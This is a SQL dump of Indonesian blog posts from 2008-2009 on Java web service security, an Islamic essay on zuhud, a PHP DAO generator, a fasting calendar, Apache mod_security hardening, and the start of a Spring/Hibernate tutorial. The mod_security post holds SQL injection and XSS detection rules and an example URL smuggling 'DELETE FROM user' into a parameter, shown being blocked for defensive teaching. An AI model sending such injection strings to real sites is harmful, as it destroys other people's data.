insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (125,'2008-12-24 18:13:18','Web Service Security','Web Service Security\r\n\r\nPada artikel ini mari kita me-review mengenai Web Services Security pada \r\nJava Web Services Develper Pack 1.6. Saat ini begitu banyak tekonlogi yang\r\nmenawarkan untuk pembuatan web service. Mulai dari .Net, Java, PHP, Agile,\r\ndan masih banyak lagi. Pada kesempatan kali ini kita tidak akan membahas me-\r\nngenai bagaimana pembutan secara teknis sebuah Web Service tetapi, feature-\r\nfeature apa yang disediakan oleh java. Karena begitu lengkapnya dokumentasi\r\ndari java.\r\n\r\nJava Web Service Develper Pack 1.6, me-release dengan menambahkan XWS-Security\r\nFeatures, diantarannya adalah :\r\n1. Support untuk mengamankan aplikasi JAX-RPC pada service, port dan level operasi\r\n\r\n2. COntoh security framework ini akan membuat Developer JAX-RPC mampu mengamankan\r\ndengan melakukan login, verifikasi, enkripsi maupun dekripi dalam SOAP Mesage dan \r\nAttachments\r\n\r\n3. Support untuk SAML Tokens dan WSS SAML Token Profile( data partial)\r\n\r\n4. Support untuk mengamankan attachment pada WSS SWA Profile Draf\r\n\r\nUntuk artikel lebih lengkap mengenai implementasi dari XWS-Security bersuber di\r\nOasis Web Services Security(WSS), yang bisa dilihat di:\r\n\r\n<a href=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0.pdf\" target=\"_blank\">\r\nhttp://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0.pdf\r\n</a>\r\n\r\nSun Java, memeberikan documentasi yang sangat lengkap mengenai Web Service Security ini\r\nberikut ini adalah linknya:\r\n<a href=\"http://java.sun.com/webservices/docs/1.6/tutorial/doc/XWS-SecurityIntro.html#wp540763\" target=\"_blank\">\r\nhttp://java.sun.com/webservices/docs/1.6/tutorial/doc/XWS-SecurityIntro.html#wp540763\r\n</a>',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (126,'2008-12-24 18:46:08','Dengan Zuhud Jadikan Dunia DITANGAN,Bukan DIHATI','DENGAN ZUHUD JADIKAN DUNIA DITANGAN,BUKAN DIHATI \r\n<i>\r\nOleh:\r\nChairul Muslimna\r\nMahasiswa FPSB dan Santri PP UII 2007\r\nemail : muslim_na@yahoo.co.id\r\n</i>\r\n\r\nSiapakah yang lebih baik dalam hal agama daripada orang yang memasrahkan dirinya kepada Allah dan dia adalah orang yang berbuat baik lagi pula ia sepenuh hati mengikuti agama Ibrahim yang lurus (hanif)\r\n(Q.S. An-Nisaa [4]: 125).\r\n\r\nAllah menjadikan hidup ini sebagai ujian. Hal ini dapat dilihat dari firman-Nya dalam surat Yunus [10] ayat 7 dan surat al-Mulk [67] ayat 2. Berdasarkan dua ayat ini, kita bisa mengetahui bahwa Allah menjadikan hidup ini sebagai ujian dengan tujuan apakah manusia dapat mengisi hidupnya dengan amalan-amalan yang baik. Manusia yang berhasil menjadi manusia yang paling baik adalah mereka paling paling taat kepada-Nya.\r\n\r\nHidup memang sebuah ujian, hanya orang-orang yang benar-benar teguh iman saja yang dapat melewati ujian ini dengan baik. Mereka adalah orang-orang yang tidak tertipu oleh kilauan nikmat dunia yang begitu menggoda, orang-orang yang memahami hakikat kehidupan dunia ini sesuai dengan apa yang telah Allah dan Rasul-Nya ajarkan. Mereka memndang dunia dan seisinya ini tak lebih dari sebuah permainan yang seringkali melalaikan, mereka tidak berbangga hati dan sombong dengan harta kekayaan dan anak yang di miliki. Jika dalam diri mereka telah tertanam sifat-sifat tersebut, maka mereka adalah orang-orang yang zuhud.\r\n\r\nZuhud merupakan sifat yang seharusnya dimiliki oleh setiap orang yang mengaku mukmin. Zuhud juga hendaknya menjadi gaya hidup umat muslim kapan dan di manapun ia berada. Zuhud bukanlah meninggalkan kenikmatan dunia, bukan berarti mengenakan pakaian yang lusuh, dan bukan berarti miskin. Zuhud juga bukan berarti hanya duduk di masjid, beribadah dan beribadah saja tanpa melakukan kegiatan-kegaitan lainnya. Zuhud adalah kemampuan kita dalam menjaga hati dari godaan serta tipu daya kemewahan dunia tanpa meninggalkannya. Dengan pengertian yang lebih luas, zuhud merupakan hikmah pemahaman yang membuat seseorang memiliki pandangan khusus terhadap kehidupan duniawi; mereka tetap bekerja dan berusaha, namun kehidupan duniawi itu tidak menguasai kecenderungan hatinya dan tidak membuatnya meninggalkan Allah sedetik-pun. Kita beramal shalih, memakmurkan bumi dan bermuamalah, namun di saat yang sama hati kita tidak tertipu. Kita meyakini sepenuhnya bahwa kehidupan akhiratlah yang menjadi tujuan utama.\r\n\r\nMelalui sebuah hadits singkat Rasulullah SAW telah memberikan panduan bagi orang-orang yang beriman dalam menghadapi kehidupan dunia: \"Jadilah kamu di dunia seperti orang asing atau musafir.\' (H.R. Bukhari). Rasul tidak hanya memberi perintah, melainkan Beliau juga mencontohkan langsung kepada umatnya bagaimana cara hidup di dunia, yakni setiap gerak langkah selalu bermuara pada harapan akan keridhaan Allah. Semua orang sepakat bahwa Beliau SAW adalah sosok yang paling rajin bekerja dan beramal shalih. Tak ada seorangpun yang mampu menandingi semangat beliau dalam menjalankan ibadah, padahal Alah sudah menjamin Beliau masuk surga. Di medan perang, beliau adalah orang yang gigih berjihad, senantiasa mendampingi pasukan, dan bahkan berada di garis depan. Tidak hanya duduk di belakang meja memberi perintah. Yang paling mengagumkan adalah kehidupan beliau yang begitu sederhana dan bersahaja.\r\n\r\nSuatu ketika Ibnu Mas\'ud r.a. melihat Rasulullah tidur di atas tikar yang lusuh sampai-sampai pola anyaman tikar membekas di pipinya. Lalu Ibnu Mas\'ud menawarkan kepada beliau sebuah kasur. Apa jawaban rasul? \"Untuk apa dunia itu! Hubungan saya dengan dunia seperti pengendara yang mampir sejenak di bawah pohon, lalu pergi dan meninggalkannya.\" (HR Tirmidzi).\r\n\r\nKesederhanaan hidup Rasul ini benar-benar dicontoh oleh para sahabatnya. Abu Bakar ash-Shiddiq, Usman bin Affan dan Abdurrahman Bin Auf hanya segelintir contoh sahabat Rasul yang memiliki kekayaan melimpah, namun hanya sedikit dari kekayaan itu yang mereka nikmati sendiri. Sebagian besarnya mereka gunakan bagi kepentingan dakwah, jihad fii sabilillah dan menolong kaum muslimin. Bahkan Abu Bakar pernah memanjatkan do\'a kepada Allah: \"Ya Allah, jadikanlah dunia di tangan kami, bukan di hati kami.\" Selain itu, sembilan dari sepuluh sahabat Nabi yang telah dijamin masuk surga adalah termasuk orang-orang yang kaya raya. Tapi di saat yang sama mereka pun zuhud, tidak membangga-banggakan harta kekayaannya. Mereka rajin bersedekah baik untuk orang-orang miskin maupun untuk kepentingan dakwah.\r\n\r\nTeladan-teladan kehidupan sederhana dan bersahaja seperti yang dilakukan oleh Rasulullah SAW dan para sahabat itu sudah sangat jarang kita temukan di zaman sekarang ini. Sebagian besar umat Islam kini telah terjebak dan terlena oleh manisnya tipu daya dunia, rakus terhadap kehidupan dunia bahkan terkadang rela menghalalkan segala cara untuk mendapatkan harta kekayaan yang sebenarnya hanya bersifat sementara. Hal semacam itu sama seperti apa yang dilakukan oleh orang-orang kafir sebagaimana yang dijelaskan oleh Allah SWT dalam surat Muhammad ayat 12: Dan oran-orang yang kafir itu bersenang-senang(di dunia) dan mereka makan seperti binatang-binatang. Dan neraka adalah tempat tinggal mereka. (Q.S. Muhammad [47]: 12).\r\n\r\nOrang-orang yang memiliki harta lebih, terkadang enggan untuk mengeluarkan hak-hak saudaranya yang terdapat dalam harta kekayaannya tersebut. Kalaupun bersedekah itu hanya sedikit sekali dan itu pun masih disertai dengan perkataan yang mengindikasikan ketidakikhlasan hatinya. Mereka dengan bangga mengatakan semua itu adalah hasil jerih payahnya sendiri.\r\n\r\nLain lagi dengan fenomena yang terjadi di kalangan remaja, gaya hidup hedonis dan glamour sudah melekat kuat dalam diri mereka. Walupun harta kekayaan yang mereka gunakan bukan dari hasil jerih payah sendiri, mereka berbangga dan sombong. Kuliah rasanya tidak keren kalau tidak menggunakan mobil mewah, pakaian dan aksesoris lain yang dikenakan pun tidak mau atau malu jika harganya murah. Kebanyakan dari remaja sekarang lebih bangga hidup dengan gaya kebarat-baratan dimana batasan halal dan haram tidak jadi acuan.\r\n\r\nBeberapa contoh tadi setidaknya memberikan gambaran pada kita bahwa kerusakan moral umat Islam saat ini sudah mencapai tahap yang sangat memprihatinkan. Pandangan materi mendominasi pada hampir semua lapangan kehidupan. Gaya hidup kaum muslimin khususnya para remaja nyaris tak sedikitpun mencerminkan sikap Islam apalagi zuhud, bahkan sikap mereka sudah tidak ada bedanya dengan bagaimana orang-orang kafir bersikap. Apabila dikumpulkan antara remaja muslim dan non-muslim di suatu tempat akan sangat sulit bagi kita untuk membedakannya. Masyarakat kita manganggap tolok ukur kesuksesan hanya didasarkan pada sebanyak apa kekayaan yang dimiliki dan semewah apa aksesoris yang digunakan. Maka tidak heran jika masyarakat kita berlomba-lomba menjadi selebriti, menjual diri dan harga diri demi keuntungan materi semata.\r\n\r\nMencintai dunia dan rakus harta adalah penyakit paling berbahaya. Tidak berlebihan jika dikatakan, segala bentuk kejahatan bermuara dari kerakusan terhadap dunia dan gaya hidup materialisme. Seks bebas, penjualan bayi, narkoba, perjudian, riba, KKN, korupsi dan lainnya dan segala bentuk tindakan kriminal selalu bertalian erat dengan kerakusan terhadap harta dan materi. Rasulullah SAW mengingatkan tentang bahayanya: \"Dua serigala lapar yang dikirim kepada kambing tidak begitu berbahaya dibanding kerakusan seseorang tehadap harta dan kedudukan.\" (H.R. Tirmidzi).\r\n\r\nOleh karena itu, merupakan hal yang sangat penting bagi kita untuk sadar dan menyadarkan kembali diri sendiri beserta saudara-saudara kita tentang hakikat dunia dan akhirat. Iman terhadap hari akhir merupakan prinsip yang harus terus-menerus diingatkan dan ditanamkan dalam hati kita, sehingga motivasi dan tujuan hidup kita sesuai dengan nilai-nilai Islam dan dapat memupuk sikap zuhud kita terhadap kehidupan dunia. Sebab dari sinilah ujung pangkal segala kebaikan dan keburukan. Semakin kuat keimanan seseorang kepada hari akhir, maka semakin tenanglah ia memandang kehidupan. Sebaliknya, semakin lemah keimanan seseorang terhadap hari pembalasan, otomatis akan menjadikan ia manusia yang rakus dan mudah tertipu oleh gemerlap keindahan yang ditawarkan oleh dunia.\r\n\"ya Allah jadikanlah dunia di tangan kami bukan di hati kami\"',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (127,'2009-01-02 21:00:40','DAO Generator for PHP and Mysql','Setelah lama berkecimpung dengan java menggunakan Spring DAO&POJO, kini mendapatkan kesempatan lagi untuk berkecimpung di dunia PHP. Karena begitu banyak table yang akan digunakan, akan membutuhkan waktu yang lama untuk menggunakan methode MVC. Terutama dalam Pembuatan modul Controller hmm...fyuhh..:P. Jika meng-code manual akan terasa capeknya\r\n\r\nBerawal dari coba-coba google untuk mencari DAO Generator untuk PHP dan Mysql. Begitu banyak Tool yang berbayar, membuat saya berpikiran untuk membuat sendiri...hehe :P. Tapi berkat kesabaran akhir ada juga Orang yang Dermawan menyediakan segenap Waktu, Tenaga dan Pikiran, untuk membuatkan Generator ini. Saya sangat salut..., dan project ini mempunyai kemudahan kita untuk memodifikasi sesuka kita karena open source. Anda bisa mendownload di :\r\n\r\n<a href=\"http://phpdao.com/phpdao-1.7.zip\">http://phpdao.com/phpdao-1.7.zip</a>\r\n\r\nSetelah kita mendowload kita extract, kemudian setting connection database pada file \\\" templates/class/dao/sql/ConnectionProperty.class.php \\\". Lalu kita bisa langsung menjalankan file generate.php melalui web server dan browser. Namun saya waktu itu mendapatkan kedala, karena table yang saya punyai lebih dari 20 table hehe, dan web server hanya mempunyai request time 30 detik saja, otomatis ditengah perjalan intruksi diputus dan saya gagal menggenerate table keseleruhannya. Untuk mengatasi hal ini sebaiknya kita mengeksekusi generator.php menggunakan PHP CLI tidak perlu menggunakan web Server.\r\n\r\nCopy hasil extract file yang terdiri dari folder \"templates\" dan file \"generate.php\", pindahkan ke folder PHP, semisal anda menginstall PHP di :\r\n\r\nC:\\Program Files\\Apache Group\\php-5.2.6\r\n|_templates\r\n|_generate.php\r\n\r\nSetelah anda mengedit configurasi connetion mysql yang sudah saya jelaskan diatas tadi tinggal ita eksekusi sebagai beriktu:\r\n\r\nC:\\Program Files\\Apache Group\\php-5.2.6>php generate.php\r\n\r\nSetelah selesai nanti akan muncul folder \"generated\" yang isinya:\r\n[code]\r\nC:\\Program Files\\Apache Group\\php-5.2.6\\generated\r\n|_include_dao.php\r\n|_class\r\n |_core\r\n |_dao\r\n |_dto\r\n |_msyql\r\n |_sql\r\n[/code]\r\n\r\nBagaimana cara menggunakan code Hasil dari DAO Generator?\r\n\r\nContoh table database yang kita gunakan:\r\n[code]\r\nTable Create Table \r\n------ ---------------------------------------------------------\r\nNews CREATE TABLE `News` ( \r\n `newsId` int(11) NOT NULL auto_increment, \r\n `newsTitle` varchar(200) default NULL, \r\n `newsCategoryId` int(11) default NULL, \r\n `newsContent` text, \r\n PRIMARY KEY (`newsId`) \r\n ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 \r\n[/code]\r\n\r\nBerikut ini adalah contoh penggunanaan Codenya, dan perlu catatan ini adalah sebagian dari kemampuan dari DAO Generator ini. Yang menarik adalah kita bisa menambahkan dengan leluas di dalam Object.\r\n[code]\r\ninclude(\'../include_dao.php\');\r\n$transaction = new Transaction();\r\n\r\n//clean table = truncate\r\nDAOFactory::getNewsDAO()->clean();\r\n$transaction->rollback();\r\n\r\n//News Insert\r\n$news = new News();\r\n$news->newsId = null;\r\n$news->newsCategoryId = 1;\r\n$news->newsTitle = \"Judul News\";\r\n$news->newsContent =\"Isi News judul........\";\r\n\r\n$id = DAOFactory::getNewsDAO()->insert($news);\r\necho \"hasil insert dari :\". $id .\"<br/>\";\r\n\r\necho \"Tampilkan semua baris<br/>\";\r\n$arr = DAOFactory::getNewsDAO()->queryAll();\r\nprint_r($arr);\r\n\r\necho \"Meload data News berdasarkan Primary Key = 1<br/>\";\r\n$news_ = DAOFactory::getNewsDAO()->load(1);\r\necho \"news_->newsContent = \". $news_->newsContent .\"<br/>\";\r\n\r\necho \"Update data News<br/.>\";\r\n$news->newsId = 1;\r\n$news->newsContent = \"Update isi News dengan id 1\";\r\n$hasilUPdate = DAOFactory::getNewsDAO()->update($news);\r\necho \"hasil Update : \".$hasilUPdate.\"<br/>\";\r\n\r\n\r\necho \"Tampilkan semua baris<br/>\";\r\n$arr = DAOFactory::getNewsDAO()->queryAll();\r\nprint_r($arr);\r\n\r\n\r\necho \"Tampilkan semua di ordery berdasarkan judul<br/>\";\r\n$arr = DAOFactory::getNewsDAO()->queryAllOrderBy(\'newsTitle\');\r\nfor($i = 0; $i <count($arr);$i++){\r\n $row = $arr[$i];\r\n\r\n if(is_object($row)){\r\n echo $row->newsId.\". \".$row->newsTitle. \" | \".$row->newsContent.\"<br/>\";\r\n } else {\r\n echo \"DUDUK OBject\";\r\n }\r\n}\r\n[/code]\r\n\r\nHasil dari tampilan kode id atas:\r\n[code]\r\nhasil insert dari :1\r\nTampilkan semua baris\r\nArray ( [0] => News Object ( [newsId] => 1 [newsTitle] => Judul News [newsCategoryId] => 1 [newsContent] => Isi News judul........ ) ) Meload data News berdasarkan Primary Key = 1\r\nnews_->newsContent = Isi News judul........\r\nUpdate data News\r\nhasil Update : 1\r\nTampilkan semua baris\r\nArray ( [0] => News Object ( [newsId] => 1 [newsTitle] => Judul News [newsCategoryId] => 1 [newsContent] => Update isi News dengan id 1 ) ) Tampilkan semua di ordery berdasarkan judul\r\n1. Judul News | Update isi News dengan id 1\r\n[/code]',1,1,2);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (128,'2009-01-07 20:07:59','Jadwal Puasa Sunnah 2009','Allah memerintahkan hambaNya untuk melakukan berbagai bentuk ibadah, karena di dalamnya berisi kebaikan dan mendatangkan cintaNya. \r\n\r\nAllah berfirman, “Barangsiapa yang dengan kerelaan hati mengerjakan kebajikan, maka itulah yang lebih baik baginya.” (Al-Baqarah: 184).\r\n\r\nDalam hadits qudsi, Allah berfirman, “Dan hambaKu senantiasa mendekatkan diri kepadaKu dengan segala ibadah yang sunnah hingga Aku mencintainya.” (HR. al-Bukhari).\r\n\r\n1. Puasa tiap hari Senin dan Kamis\r\n\r\n2. Puasa 3 (tiga) hari setiap bulan - ’shaumul biidh’ -\r\nYakni pada tanggal 13.14.15 - penanggalan Islam - (saat bulan purnama).\r\n- 10, 11, 12 Januari 2009 / Muharram 1430 H\r\n- 9, 10, 11 Februari 2009 / Shafar 1430 H\r\n- 10, 11, 12 Maret 2009/ Rabi’ul Awwal 1430 H\r\n- 9, 10, 11 April 2009/ Rabi’ul Akhir 1430 H\r\n- 9, 10, 11 Mei 2009/ Jumadil Awwal 1430 H\r\n- 7, 8, 9 Juni 2009/ Jumadil Akhir 1430 H\r\n- 6, 7, 8 Juli 2009/ Rajab 1430 H\r\n- 4, 5, 6 Agustus 2009/ Sya’ban 1430 H\r\n\r\nPuasa Ramadhan 1430 H : 22 Agustus 2009 - 19 September 2009.\r\n\r\n- 2, 3, 4 Oktober 2009/ Syawwal 1430 H\r\n- 1, 2, 3 November 2009/ Dzulqa’idah 1430 H\r\n- 1, 2 Desember 2009/Dzulhijjah 1430 H.\r\n30 November 2009 bertepatan dengan hari tasyriq - 13 Dzulhijjah 1430 H.\r\nHari tasyriq tidak diperkenankan berpuasa.\r\n\r\n3. Puasa 1/3 (sepertiga) bulan - Yakni di bulan Dzulhijjah.\r\nAntara 18 November 2009 - 17 Desember 2009/ Dzulhijjah 1430 H\r\nPuasa tanggal 9 Dzulhijjah (Arafah) bagi selain orang yang melaksanakan haji.\r\nYakni : 26 November 2009/ 9 Dzulhijjah 1430 H\r\n\r\nTidak diperkenankan berpuasa :\r\nHari Idul Adha - 10 Dzulhijjah/ 27 November 2009\r\nHari tasyriq - 11, 12, 13 Dzulhijjah/ 28, 29, 30 November 2009/ Dzulhijjah 1430 H\r\n\r\n4. Puasa bulan Muharram - ‘Asyura’ selama 3 (tiga) hari - tanggal 9,10,11 Muharram.\r\nSangat dianjurkan tanggal 9 dan 10 ( Tasu’a dan ‘Asyura )\r\nYakni : 6, 7 dan 8 Januari 2009/ Muharram 1430 H.\r\n26, 27, 27 Desember 2009/ Muharram 1431 H\r\n\r\n5. Puasa pada sebagian bulan Sya’ban.\r\nAntara 23 Juli - 21 Agustus 2009.\r\n\r\n6. Puasa 6 hari pada bulan Syawwal.\r\nAntara 21 September - 19 Oktober 2009.\r\nTidak diperkenankan puasa pada 1 Syawwal - 20 September 2009.\r\n\r\n7. Puasa Daud - berpuasa berselang-seling.\r\nBerpuasa satu hari lalu berbuka satu hari\r\n<i>\r\nRingkasan - Referensi :\r\nFiqhus Sunnah Sayyid Sabiq\r\nTamamul Minnah, Muhammad Nashiruddin al-Albani\r\nAl-Islam- Pusat Informasi dan Komunikasi Islam Indonesia\r\nPenanggalan Tahun 2009 - Penerbit Gema Insani.</i>',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (129,'2009-01-08 12:30:54','Mengaman Apache dengan mod_secuity','Mengaman Apache dengan mod_secuity\r\n\r\nArtikel ini akan membahas bagaimana menginstall dan mengkonfigurasi mod_security. Apa itu mod_security? mod-security adalah Apache Module(Apache Ver 1 dan Apache Ver 2) yang digunakan untuk mendeteksi dan mencegah terjadinya penyerangan pada sebuah web applications. Penyerangan bisa berupa SQL Ijection, Cross-site scripting(XSS), dan lain-lain\r\n\r\nUntuk study case ini kita akan bergulat di distro Fedora server. kita akan membahas bagaimana cara konfigurasinya.\r\n\r\nINSTALASI\r\n\r\nKita pakek YUM\r\n[code]\r\nyum install mod_security\r\n/etc/init.d/httpd restart\r\n[/code]\r\n\r\nKita cari file <i>/etc/httpd/conf.d/mod_security.conf</i> lalu kita konfigurasi denga cara\r\n[code]\r\nvi /etc/httpd/conf.d/mod_security.conf\r\n[/code]\r\n\r\nkonfigurasi seperti dibawah ini\r\n[code]\r\n# Example configuration file for the mod_security Apache module\r\n\r\nLoadModule security_module modules/mod_security.so\r\n\r\n<IfModule mod_security.c>\r\n\r\n # Turn the filtering engine On or Off\r\n SecFilterEngine On\r\n\r\n # The audit engine works independently and\r\n # can be turned On of Off on the per-server or\r\n # on the per-directory basis\r\n SecAuditEngine RelevantOnly\r\n\r\n # Make sure that URL encoding is valid\r\n SecFilterCheckURLEncoding On\r\n\r\n # Unicode encoding check\r\n SecFilterCheckUnicodeEncoding On\r\n\r\n # Only allow bytes from this range\r\n SecFilterForceByteRange 1 255\r\n\r\n # Cookie format checks.\r\n SecFilterCheckCookieFormat On\r\n\r\n # The name of the audit log file\r\n SecAuditLog logs/audit_log\r\n\r\n # Should mod_security inspect POST payloads\r\n SecFilterScanPOST On\r\n\r\n # Default action set\r\n SecFilterDefaultAction \"deny,log,status:406\"\r\n\r\n # Simple example filter\r\n SecFilter 111\r\n\r\n # Prevent path traversal (..) attacks\r\n SecFilter \"\\.\\./\"\r\n\r\n # Weaker XSS protection but allows common HTML tags\r\n SecFilter \"<( |\\n)*script\"\r\n\r\n # Prevent XSS atacks (HTML/Javascript injection)\r\n SecFilter \"<(.|\\n)+>\"\r\n\r\n # Very crude filters to prevent SQL injection attacks\r\n SecFilter \"delete[[:space:]]+from\"\r\n SecFilter \"insert[[:space:]]+into\"\r\n SecFilter \"select.+from\"\r\n\r\n # Require HTTP_USER_AGENT and HTTP_HOST headers\r\n SecFilterSelective \"HTTP_USER_AGENT|HTTP_HOST\" \"^$\"\r\n\r\n # Only accept request encodings we know how to handle\r\n # we exclude GET requests from this because some (automated)\r\n # clients supply \"text/html\" as Content-Type\r\n SecFilterSelective REQUEST_METHOD \"!^GET$\" chain\r\n SecFilterSelective HTTP_Content-Type \"!(^$|^application/x-www-form-urlencoded$|^multipart/form-data)\"\r\n\r\n # Require Content-Length to be provided with\r\n # every POST request\r\n SecFilterSelective REQUEST_METHOD \"^POST$\" chain\r\n SecFilterSelective HTTP_Content-Length \"^$\"\r\n\r\n # Don\'t accept transfer encodings we know we don\'t handle\r\n # (and you don\'t need it anyway)\r\n SecFilterSelective HTTP_Transfer-Encoding \"!^$\"\r\n\r\n # Some common application-related rules from\r\n # http://modsecrules.monkeydev.org/rules.php?safety=safe\r\n\r\n #Nuke Bookmarks XSS\r\n SecFilterSelective THE_REQUEST \"/modules\\.php\\?name=Bookmarks\\&file=(del_cat\\&catname|del_mark\\&markname|edit_cat\\&catname|edit_cat\\&catcomment|marks\\&catname|uploadbookmarks\\&category)=(<[[:space:]]*script|(http|https|ftp)\\:/)\"\r\n\r\n #Nuke Bookmarks Marks.php SQL Injection Vulnerability\r\n SecFilterSelective THE_REQUEST \"modules\\.php\\?name=Bookmarks\\&file=marks\\&catname=.*\\&category=.*/\\*\\*/(union|select|delete|insert)\"\r\n\r\n #PHPNuke general XSS attempt\r\n #/modules.php?name=News&file=article&sid=1&optionbox=\r\n SecFilterSelective THE_REQUEST \"/modules\\.php\\?*name=<[[:space:]]*script\"\r\n\r\n # PHPNuke SQL injection attempt\r\n SecFilterSelective THE_REQUEST \"/modules\\.php\\?*name=Search*instory=\"\r\n\r\n #phpnuke sql insertion\r\n SecFilterSelective THE_REQUEST \"/modules\\.php*name=Forums.*file=viewtopic*/forum=.*\\\'/\"\r\n\r\n # WEB-PHP phpbb quick-reply.php arbitrary command attempt\r\n\r\n SecFilterSelective THE_REQUEST \"/quick-reply\\.php\" chain\r\n SecFilter \"phpbb_root_path=\"\r\n\r\n #Topic Calendar Mod for phpBB Cross-Site Scripting Attack\r\n SecFilterSelective THE_REQUEST \"/calendar_scheduler\\.php\\?start=(<[[:space:]]*script|(http|https|ftp)\\:/)\"\r\n\r\n # phpMyAdmin: Safe\r\n\r\n #phpMyAdmin Export.PHP File Disclosure Vulnerability\r\n SecFilterSelective SCRIPT_FILENAME \"export\\.php$\" chain\r\n SecFilterSelective ARG_what \"\\.\\.\"\r\n\r\n #phpMyAdmin path vln\r\n SecFilterSelective REQUEST_URI \"/css/phpmyadmin\\.css\\.php\\?GLOBALS\\[cfg\\]\\[ThemePath\\]=/etc\"\r\n\r\n</IfModule>\r\n[/code] \r\n\r\nSetelah konfigurasi simpan dan restart apchenya\r\n[code]\r\n/etc/init.d/httpd restart\r\n[/code]\r\n\r\nSedikit penjelasan dari script diatas, asumsi jika terjadi penyerangan SQL Ijection dengan cara sebagai berikut:\r\n<i> http://www.bentohack-contoh.com/sikat.php?user=mamat\';DELETE FROM user;--</i>\r\n\r\nNah kita bisa mengantisipasi dengan rule sebagai beriktu:\r\n<i>SecFilter \"delete[[:space:]]+from\"</i>\r\n[code]\r\n========================================\r\nRequest: 192.168.1.112 - - [08/Jan/2009:11:43:00 +1200] \"GET /sikat.php?user=mamat;DELETE%20FROM%20users;-- HTTP/1.1\" 500 1215\r\nHandler: (null)\r\n----------------------------------------\r\nGET /sikat.php?user=mamat;DELETE%20FROM%20users;-- HTTP/1.1\r\nHost: 192.168.1.112\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language: en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection: keep-alive\r\nmod_security-message: Access denied with code 500. Pattern match \"delete[[:space:]]+from\" at THE_REQUEST\r\nmod_security-action: 500\r\n\r\nHTTP/1.1 500 Internal Server Error\r\nLast-Modified: Thu, 8 Jan 2009 11:01:11 GMT\r\nETag: \"8238-4bf-833a52450\"\r\nAccept-Ranges: bytes\r\nContent-Length: 1125\r\nConnection: close\r\nContent-Type: text/html\r\n[/code]\r\n\r\nJika terjadi ke serangan diatas request akan di dinied, di log, dan user akan mendapatkan error 500. Kita juga bisa men-direct ke url lainnya biar tampilan juga lebih ciamik dalam memberikan pesan , agar tidak terlalu kejam saat memberi pesan error, dengan cara sebagai berikut:\r\n[code]\r\nSecFilter \"delete[[:space:]]+from\" log,redirect:http://bentohack-contoh.com/kok_nakal_ya.html\r\n\r\n//variasi lainnya\r\nSecFilter \"insert[[:space:]]+into\"\r\nSecFilter \"select.+from\"\r\nSecFilter \"drop[[:space:]]table\"\r\n[/code]\r\n\r\nREFENRENSI\r\n * Apache Module mod_security: http://www.modsecurity.org\r\nto-mod-security\r\n * Online Rule Creator For mod_security: http://leavesrustle.com/tools/modsecurity\r\n * mod_security Documentation: http://www.modsecurity.org/documentation/modsecurity-apache/1.9.3/html-multipage/index.html\r\n * ModSecurity Rules: http://www.modsecurity.org/projects/rules/index.html',1,1,4);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (130,'2009-01-14 17:20:38','Tutorial Spring, Hibernate dan Mysql Untuk aplikasi CRUD','Yup kali ini mumpung ada waktu, hehe. Kita akan mencoba membuat aplikasi CRUD(Create Read Update Delete) menggunakan Framework Spring untuk membuat MVC nya dan Database Object menggunakan Hibernate serta untuk Database kita memakai Mysql Saja. \r\n\r\nKenapa sih harus Spring dan Hibernate? Karena esensinya dari suatu framework adalah bagaimana membuat susunan kerja dan gaya programing kita menjadi teratur dan tentunya mempermudah. Memang jika kita membuat project baru dengan skala kecil cara seperti ini akan merepotkan, tetapi jika anda membuat project dengan modul ratusan,hehe :P kita harus menggunakan framework agar dalam pengembaang project tidak salah arah dan ter-manage dengan baik. \r\n\r\nWalaupun tekonologi ini sudah sangat trend di kalangan programer java ternyata saat belajar memang memerlukan waktu extra untuk benar-benar memahani bagaimana kinerja dan aturan saat menggunakan framework ini. Pesan kesalahan kadang tidak cukup memberikan secercah cahaya untuk menerangi ketidak tauan kita. Yah dengan tekun mencari informasi di forum-forum waktu pertama kali belajar akhirnya paham juga hehe :P.\r\n\r\nUntuk tutorial ini kita hanya akan membahas sebagian saja dari CRUD yaitu (Read) dulu. Sedang kan untuk lainnya akan dibahas menyusul. Ini karena terlalu complexnya tahapan-tahapannya dan juga karena keterbatasan waktu..:P. \r\n\r\nCode bisa diakses menggunakan svn dengan alamat:\r\n[code]\r\n # Non-members may check out a read-only working copy anonymously over HTTP.\r\nsvn checkout http://explorecode.googlecode.com/svn/trunk/ explorecode-read-only \r\n\r\nhttp://code.google.com/p/explorecode/source/browse/#svn/trunk/SpringTestNB\r\n[/code]\r\n\r\nYuuk kita mulai! untuk tahapa yang paling mudah adalah silahkan untuk membuat database dahulu\r\n[code]\r\nDatabase\r\n--------------\r\ncreate database test;\r\n\r\n\r\nTable Create Table \r\n-------- ------------------------------------------\r\ncustomer CREATE TABLE `customer` ( \r\n `id` int(11) NOT NULL auto_increment, \r\n `firstname` varchar(255) default NULL, \r\n `lastname` varchar(255) default NULL, \r\n `age` int(11) default NULL, \r\n PRIMARY KEY (`id`) \r\n ) ENGINE=InnoDB DEFAULT CHARSET=utf8 \r\n[/code]\r\n\r\nBuat POJO dari table customer. Kita bisa mengunakan generator entity pada neatbeans atau eclipse. Berikut ini adalah hasil dari generator entity pada Neatbeans.\r\n[code]\r\npackage test.hibernate.pojo;\r\n\r\nimport java.io.Serializable;\r\nimport 